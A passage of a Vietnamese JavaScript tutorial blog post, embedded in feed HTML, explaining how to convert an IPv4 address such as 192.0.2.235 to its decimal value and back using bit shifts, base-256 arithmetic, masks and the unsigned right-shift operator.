tiêu đã đặt ra... Trong năm 2019, mình cố gắng tìm hiểu, giải quyết và tổng hợp lại những thủ thuật…]]>https://completejavascript.com/convert-ipv4-sang-decimal-va-nguoc-lai/https://completejavascript.com/convert-ipv4-sang-decimal-va-nguoc-lai/<![CDATA[ES6]]><![CDATA[Snippets]]>Thu, 04 Jan 2018 22:30:26 GMT<p>Chào bạn! Năm mới 2019, mình chúc bạn mạnh khỏe và đạt được tất cả các mục tiêu đã đặt ra... Trong năm 2019, mình cố gắng tìm hiểu, giải quyết và tổng hợp lại những thủ thuật JavaScript hay dùng. Và bài đầu tiên hôm nay, mình sẽ viết về cách convert IPv4 sang Decimal và sau đó là convert ngược lại từ Decimal sang IPv4.</p> <blockquote> <p>Trước khi bắt đầu, mình muốn giới thiệu với bạn <a href="https://github.com/jscenter/vanilla-js-snippets">link của project</a> này trên Github. Mình rất trân trọng nếu bạn có thể đóng góp chút ít cho project mã nguồn mở này. Một cách đơn giản nhất là bạn vào phần <a href="https://github.com/jscenter/vanilla-js-snippets/issues">Issues</a>. Sau đó, bạn nhấn vào phần <a href="https://github.com/jscenter/vanilla-js-snippets/issues/new">New issue</a>. Tại đây bạn có thể đưa ra ý tưởng về thủ thuật JavaScript nào đó mà bạn cảm thấy hữu ích. Bất kể thứ gì, dù đơn giản hay phúc tạp cũng được nhé! Mình sẽ cố gắng giải quyết hoặc tìm kiếm giải pháp trên Google, rồi cập nhật vào project. Mình tin rằng đây sẽ là một nguồn tài liệu quý giá cho bạn, cho mình và người khác sau này.</p> </blockquote> <a href="https://github.com/jscenter/vanilla-js-snippets" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <p>Thôi không lan man nữa, mời bạn theo dõi bài viết!</p> <h2 id="đặc-điểm-cơ-bản-của-ipv4" style="position:relative;"><a href="#%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-ipv4" aria-label="đặc điểm cơ bản của ipv4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặc điểm cơ bản của IPv4</h2> <p><a href="https://vi.wikipedia.org/wiki/IPv4">IPv4</a> sử dụng 32 bit để đánh địa chỉ. Và địa chỉ IP này được chia ra làm 4 nhóm. Mỗi nhóm gồm 8 bit (gọi là một octet). Mỗi nhóm được phân cách nhau bởi một dấu chấm (<strong>.</strong>). Để tiện theo dõi, mỗi nhóm sẽ được biểu diễn bởi một số ở hệ cơ số 10, ví dụ: <strong>192.0.2.235</strong></p> <p>Cách biểu diễn trên là cơ bản nhất. Ngoài ra, còn một số cách biểu diễn địa chỉ IPv4 khác như sau:</p> <ul> <li>Octet ở hệ cơ số 16: <strong>0xC0.0x00.0x02.0xEB</strong></li> <li>Octet ở hệ cơ số 8: <strong>0300.0000.0002.0353</strong></li> <li>Hệ cơ số 16: <strong>0xC00002EB</strong></li> <li>Hệ cơ số 10: <strong>3221226219</strong></li> <li>Hệ cơ số 8: <strong>030000001353</strong></li> </ul> <p>Trong phạm vi bài viết này, mình sẽ chia sẻ với bạn cách để convert IPv4 sang Decimal - tức địa chỉ <strong>192.0.2.235</strong> sang địa chỉ <strong>3221226219</strong> và ngược lại.</p> <h2 id="convert-ipv4-sang-decimal" style="position:relative;"><a href="#convert-ipv4-sang-decimal" aria-label="convert ipv4 sang decimal permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Convert IPv4 sang Decimal</h2> <h3 id="ý-tưởng-để-convert-ipv4-sang-decimal" style="position:relative;"><a href="#%C3%BD-t%C6%B0%E1%BB%9Fng-%C4%91%E1%BB%83-convert-ipv4-sang-decimal" aria-label="ý tưởng để convert ipv4 sang decimal permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ý tưởng để convert IPv4 sang Decimal</h3> <p>Như mình đã nói ở trên, mỗi octet sẽ gồm 8 bit - tương ứng với một byte. Vì vậy, mình sẽ chuyển đổi địa chỉ <strong>192.0.2.235</strong> như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 590px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 40%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA6UlEQVQoz41S7W6DMAzk/d8RrWvWQSiMAvlwYic3EVDb/WDipJMVKz5fTqlwgJzzs57liurM0K58tPqPiSofXnxBJJXKLEgpI7JAUtrOGRvTm0MRgVJXXJXC5fKBvh8QJcE4gqMI6wh1XWOcLYafsfSXxWCxHurrhk91233mTXBV77oOWmu0bYt5nsGS4CiAAsP5gO+mwWwcHtNUFljrYJzH/T5Ad/0zkSonAYT/ffI63OoOizHFkbEOTasxPqbSX12/MmRCNgOYHCgEeO9BRAghFMbIOItNUBg5eiSJJUtmLvWdp77NnuEvXtZ0DjNIPyMAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ý tưởng convert IPv4 sang Decimal" title="Ý tưởng convert IPv4 sang Decimal" src="/static/05ad5ca258eeb56aa8f63e14069dbef2/6d370/nguyen-ly-1.png" srcset="/static/05ad5ca258eeb56aa8f63e14069dbef2/103f2/nguyen-ly-1.png 165w, /static/05ad5ca258eeb56aa8f63e14069dbef2/748ba/nguyen-ly-1.png 330w, /static/05ad5ca258eeb56aa8f63e14069dbef2/6d370/nguyen-ly-1.png 590w" sizes="(max-width: 590px) 100vw, 590px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Theo như hình trên, số 235 ở vị trí byte 0, số 2 ở vị trí byte 1, số 0 ở vị trí byte 2 và số 192 ở vị trí byte 3. Hay nói cách khác, số 235 vẫn giữ nguyên vị trí, số 2 dịch trái 1 byte, số 0 dịch trái 2 byte và số 192 dịch trái 3 byte. Khi đó, mình có thể mô phỏng lại bằng hình vẽ sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 470px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABpElEQVQ4y42TDW/UMAyG7///N7YB25AQEhu6XlvKrck1ifNh50V1b0fhOrRKlpLYefzacXf456u1bq5XEVf+ddRu7XwNcG6CD4TMouGpsBqzgBLDGAMi2ky6Cby5+YCv377DpYrCFVPIcJQRM+v67u4WzeHw594WcJ2tyGwVFDNC8ArKRdQfiyDGCBH5P3Ct8BUQKKJtW1ifMVEBzQqJ0XcdKMb3l5wyn/smmNuYuSp8hlBeFDLz+0tegKLQmIu2wFiLfjhqX60xyKW8rfDy/KuSVWFeLBdGSAypQEwFz09PGMfxqjIF6uZ8eAGmcgaJwgsLPOXL/vHxC4bh17bCuoLpK6YMHxmOCsxEOibWRbxMESefYBxh7l4qFTlfl71bT7oosODh/jP2+0ZV9l0LrksPjbHa208fb/Fj3+hozbf/LlkENbrFmLW0rv+J4TjqME/O69nJBfgQMfmEru/VPye8UliFUemE6kegzkBSdc4HDMcX7JsDAiW0Xa+J5gTNocVoLETqBrAKaiY1VNH5MuOIUorOm7VWH817pya8/MvxjcH+DcIuSc5/eGbbAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nguyên lý dịch bit" title="Nguyên lý dịch bit" src="/static/5e24633426b6ec37f3a93e00e55bc295/c52b7/nguyen-ly-dich-bit-1.png" srcset="/static/5e24633426b6ec37f3a93e00e55bc295/103f2/nguyen-ly-dich-bit-1.png 165w, /static/5e24633426b6ec37f3a93e00e55bc295/748ba/nguyen-ly-dich-bit-1.png 330w, /static/5e24633426b6ec37f3a93e00e55bc295/c52b7/nguyen-ly-dich-bit-1.png 470w" sizes="(max-width: 470px) 100vw, 470px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Như vậy, ý tưởng đầu tiên để convert IPv4 sang Decimal đó là: <strong>thực hiện phép dịch bit sang trái (&#x3C;&#x3C;) với các số 235, 2, 0, 192 lần lượt là 0, 8, 16, 24 bit.</strong> Sau đó, sử dụng phép bitwise OR (|) để hợp chúng lại với nhau là thu được kết quả.</p> <h3 id="triển-khai-convert-ipv4-sang-decimal-theo-lý-thuyết" style="position:relative;"><a href="#tri%E1%BB%83n-khai-convert-ipv4-sang-decimal-theo-l%C3%BD-thuy%E1%BA%BFt" aria-label="triển khai convert ipv4 sang decimal theo lý thuyết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai convert IPv4 sang Decimal theo lý thuyết</h3> <p>Theo như phân tích trên thì giải pháp sẽ là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> ip <span class="token operator">=</span> <span class="token string">"192.0.2.235"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> octets <span class="token operator">=</span> ip<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> byte3 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="token comment">// -> -1073741824</span> <span class="token keyword">const</span> byte2 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token number">16</span><span class="token punctuation">;</span> <span class="token comment">// -> 0</span> <span class="token keyword">const</span> byte1 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token comment">// -> 512</span> <span class="token keyword">const</span> byte0 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// -> 235</span> <span class="token keyword">const</span> decimal <span class="token operator">=</span> byte3 <span class="token operator">|</span> byte2 <span class="token operator">|</span> byte1 <span class="token operator">|</span> byte0<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>decimal<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => -1073741077</span></code></pre></div> <p>Tuy nhiên, như bạn có thể thấy kết quả phép dịch trái 24 bit ra số âm (<strong>-1073741824</strong>). Tại sao lại như vậy?</p> <p>Đơn giản, vì khi thực hiện phép dịch trái (&#x3C;&#x3C;), JavaScript sẽ hiểu kết quả thu được là dạng số nguyên 32 bit có dấu. Mà với số nguyên <strong>32 bit có dấu</strong>, <a href="https://vi.wikipedia.org/wiki/32-bit">phạm vi biểu diễn</a> sẽ là: -2147483648 đến 2147483647. Với số nguyên <strong>32 bit không dấu</strong>, phạm vi biểu diễn là: 0 đến 4294967295.</p> <p>Trong khi, nếu đó là số nguyên không dấu thì ta có số <strong>192 &#x3C;&#x3C; 24</strong> tương đương với <strong>192 * (2 ^ 24)</strong> (tức 192 nhân với 2 mũ 24 - đây là kiến thức dịch bit căn bản) và bằng <strong>3221225472</strong> - vượt quá phạm vi biểu diễn số nguyên có dấu. Do đó, mình không thể sử dụng cách này được. Phải nghĩ cách khác thôi.</p> <h3 id="triển-khai-convert-ipv4-sang-decimal-cơ-bản" style="position:relative;"><a href="#tri%E1%BB%83n-khai-convert-ipv4-sang-decimal-c%C6%A1-b%E1%BA%A3n" aria-label="triển khai convert ipv4 sang decimal cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai convert IPv4 sang Decimal cơ bản</h3> <p>Bạn để ý, mỗi octet là một byte nên có giá trị trong khoảng từ 0 đến 255. Nghĩa là mình có thể coi IPv4 là một số có 4 chữ số trong hệ cơ số 256.</p> <p>Khi đó, địa chỉ <strong>192.0.2.235</strong> có thể được viết là <strong>(192)(0)(2)(235)</strong> - mình cho mỗi số vào trong cặp dấu ngoặc đơn để hiểu đó là một chữ số trong hệ cơ số 256. Suy ra, giá trị trong hệ thập phân của nó là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">192 x (256)^3 + 0 x (256)^2 + 2 x (256)^1 + 235 x (256)^0 = 3221225472 + 0 + 512 + 235 = 3221226219</code></pre></div> <p>Kết quả thu được đúng như mong đợi. Vậy code để convert IPv4 sang Decimal bây giờ là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> ip <span class="token operator">=</span> <span class="token string">"192.0.2.235"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> octets <span class="token operator">=</span> ip<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> byte3 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">*</span> Math<span class="token punctuation">.</span><span class="token function">pow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> byte2 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">*</span> Math<span class="token punctuation">.</span><span class="token function">pow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> byte1 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">*</span> Math<span class="token punctuation">.</span><span class="token function">pow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> byte0 <span class="token operator">=</span> octets<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">*</span> Math<span class="token punctuation">.</span><span class="token function">pow</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> decimal <span class="token operator">=</span> byte3 <span class="token operator">+</span> byte2 <span class="token operator">+</span> byte1 <span class="token operator">+</span> byte0<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>decimal<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 3221226219</span></code></pre></div> <h3 id="triển-khai-convert-ipv4-sang-decimal-đầy-đủ" style="position:relative;"><a href="#tri%E1%BB%83n-khai-convert-ipv4-sang-decimal-%C4%91%E1%BA%A7y-%C4%91%E1%BB%A7" aria-label="triển khai convert ipv4 sang decimal đầy đủ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai convert IPv4 sang Decimal đầy đủ</h3> <p>Đoạn code trên đã giải quyết khá tốt việc convert IPv4 sang Decimal. Tuy nhiên, mình vẫn chưa xử lý việc kiểm tra đầu vào có hợp lệ hay không và cũng chưa viết nó thành một <a href="/ham-la-gi-ham-trong-javascript/">function</a> riêng biệt để dễ dàng tái sử dụng sau này. Và sau đây chính là đoạn code khá đầy đủ mà mình đã viết:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/** * Convert IPv4 to Decimal * @param {String} ip - a String represents an IPv4 * @returns a decimal if the input is valid. Otherwise, it returns -1. */</span> <span class="token keyword">function</span> <span class="token function">convertIPv4toDecimal</span><span class="token punctuation">(</span><span class="token parameter">ip</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Simply validate input as IPv4</span> <span class="token keyword">const</span> ipv4RegEx <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^(\d{1,3}\.){3}(\d{1,3})$</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> <span class="token keyword">const</span> valid <span class="token operator">=</span> ipv4RegEx<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span>ip<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>valid<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> ipDecimal <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">const</span> octets <span class="token operator">=</span> ip<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">4</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> octet <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span>octets<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// make sure each value is between 0 and 255</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>octet <span class="token operator">></span> <span class="token number">255</span> <span class="token operator">||</span> octet <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> ipDecimal <span class="token operator">=</span> ipDecimal <span class="token operator">*</span> <span class="token number">256</span> <span class="token operator">+</span> octet<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> ipDecimal<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn code trên, mình sử dụng <a href="/tim-hieu-regular-expression-javascript/">Regex</a> để xác định một cách cơ bản đầu vào là địa chỉ IPv4. Tức là địa chỉ IP phải có 4 nhóm, phân tách nhau bởi dấu chấm (<strong>.</strong>) và mỗi nhóm sẽ có số kí tự từ 1 đến 3 (tương ứng giá trị từ 0 đến 255).</p> <p>Sau đó, mình tách 4 cụm của địa chỉ IP thành <a href="/array-la-gi-array-trong-javascript/">mảng</a> để duyệt. Mỗi phần phải đảm bảo có giá trị từ 0 đến 255 thì mới hợp lệ. Nếu địa chỉ IPv4 đầu vào là hợp lệ thì mình sẽ trả về giá trị Decimal của nó. Ngược lại, mình trả về giá trị -1.</p> <p>Bạn thử tìm hiểu kỹ hơn xem nó hoạt động thế nào nhé! Nếu có gì khó hiểu thì để lại bình luận xuống phía dưới, mình sẽ cố gắng giải đáp.</p> <h2 id="convert-decimal-sang-ipv4" style="position:relative;"><a href="#convert-decimal-sang-ipv4" aria-label="convert decimal sang ipv4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Convert Decimal sang IPv4</h2> <h3 id="ý-tưởng-convert-decimal-sang-ipv4" style="position:relative;"><a href="#%C3%BD-t%C6%B0%E1%BB%9Fng-convert-decimal-sang-ipv4" aria-label="ý tưởng convert decimal sang ipv4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ý tưởng convert Decimal sang IPv4</h3> <p>Bên trên mình đã phân tích khá chi tiết phần dịch bit để convert IPv4 sang Decimal. Qua đó, bạn có thể thấy là: <strong>để convert Decimal sang IPv4 mình sẽ thực hiện dịch bit ngược lại.</strong></p> <p>Nghĩa là mình sẽ phân tách số Decimal thành 4 thành byte. Sau đó, thực hiện phép dịch bit sang bên phải với số lần xác định để thu được giá trị octet. Cuối cùng, mình kết hợp 4 giá trị octet lại để thu được giá trị IPv4.</p> <p>Xét ví dụ cụ thể với số <strong>3221226219</strong>. Và mình cần thu được địa chỉ IPv4 là: <strong>192.0.2.235</strong></p> <p>Về cơ bản số, <strong>3221226219</strong> (hệ cơ số 10) sẽ tương ứng với số <strong>0xC00002EB</strong> (hệ cơ số 16). Để tách ra từng byte, mình sẽ thực hiện phép AND (&#x26;) với một số đóng vai trò là <strong>mặt nạ</strong> (mask). Sau đó, mình thực hiện dịch bit sang phải để thu được kết quả như mong muốn.</p> <p>Nói xuông thì hơi khó hiểu, mình sẽ minh họa lại như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">3221226219 &amp; 0xFF000000 = 0xC00002EB &amp; 0xFF000000 = 0xC0000000 (lấy byte 3) 3221226219 &amp; 0x00FF0000 = 0xC00002EB &amp; 0x00FF0000 = 0x00000000 (lấy byte 2) 3221226219 &amp; 0x0000FF00 = 0xC00002EB &amp; 0x0000FF00 = 0x00000200 (lấy byte 1) 3221226219 &amp; 0x000000FF = 0xC00002EB &amp; 0x000000FF = 0x000000EB (lấy byte 0)</code></pre></div> <p><strong>Bạn nhớ rằng</strong>: số nào <strong>AND</strong> với 1 thì bằng chính nó, số nào <strong>AND</strong> với 0 thì được 0. Như vậy, giá trị ở những byte cần lấy đã được giữ nguyên, giá trị ở những byte còn lại mình đưa về 0 hết. Rồi tiếp theo, mình thực hiện dịch bit:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">0xC0000000 >> 24 = 0xC0 = 192 0x00000000 >> 16 = 0x00 = 0 0x00000200 >> 8 = 0x02 = 2 0x000000EB >> 0 = 0xEB = 235</code></pre></div> <p>Như vậy là mình đã thu được 4 giá trị octet. Công việc còn lại là vô cùng đơn giản.</p> <h3 id="triển-khai-convert-decimal-sang-ipv4-theo-lý-thuyết" style="position:relative;"><a href="#tri%E1%BB%83n-khai-convert-decimal-sang-ipv4-theo-l%C3%BD-thuy%E1%BA%BFt" aria-label="triển khai convert decimal sang ipv4 theo lý thuyết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai convert Decimal sang IPv4 theo lý thuyết</h3> <p>Tuy nhiên, bên trên mới chỉ là lý thuyết thôi. Với phần dịch bit này, JavaScript sẽ ngầm định các số là số nguyên 32 bit có dấu. Do đó, kết quả trên sẽ trở thành:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">0xC0000000 >> 24 // => -64 0x00000000 >> 16 // => 0 0x00000200 >> 8 // => 2 0x000000EB >> 0 // => 235</code></pre></div> <p>May thay, JavaScript có hỗ trợ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#%3E%3E%3E_(Zero-fill_right_shift)">toán tử >>></a>. Thực ra, mình đọc giải thích cũng thấy hơi loằng ngoằng, khó hiểu. Mình chỉ hiểu đơn giản là toán tử này cho phép dịch bit theo kiểu số nguyên không dấu. Khi đó, đoạn code trên trở thành:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">0xc0000000 >>> 24; // => 192 0x00000000 >>> 16; // => 0 0x00000200 >>> 8; // => 2 0x000000eb >>> 0; // => 235</code></pre></div> <h3 id="triển-khai-convert-decimal-sang-ipv4-đầy-đủ" style="position:relative;"><a 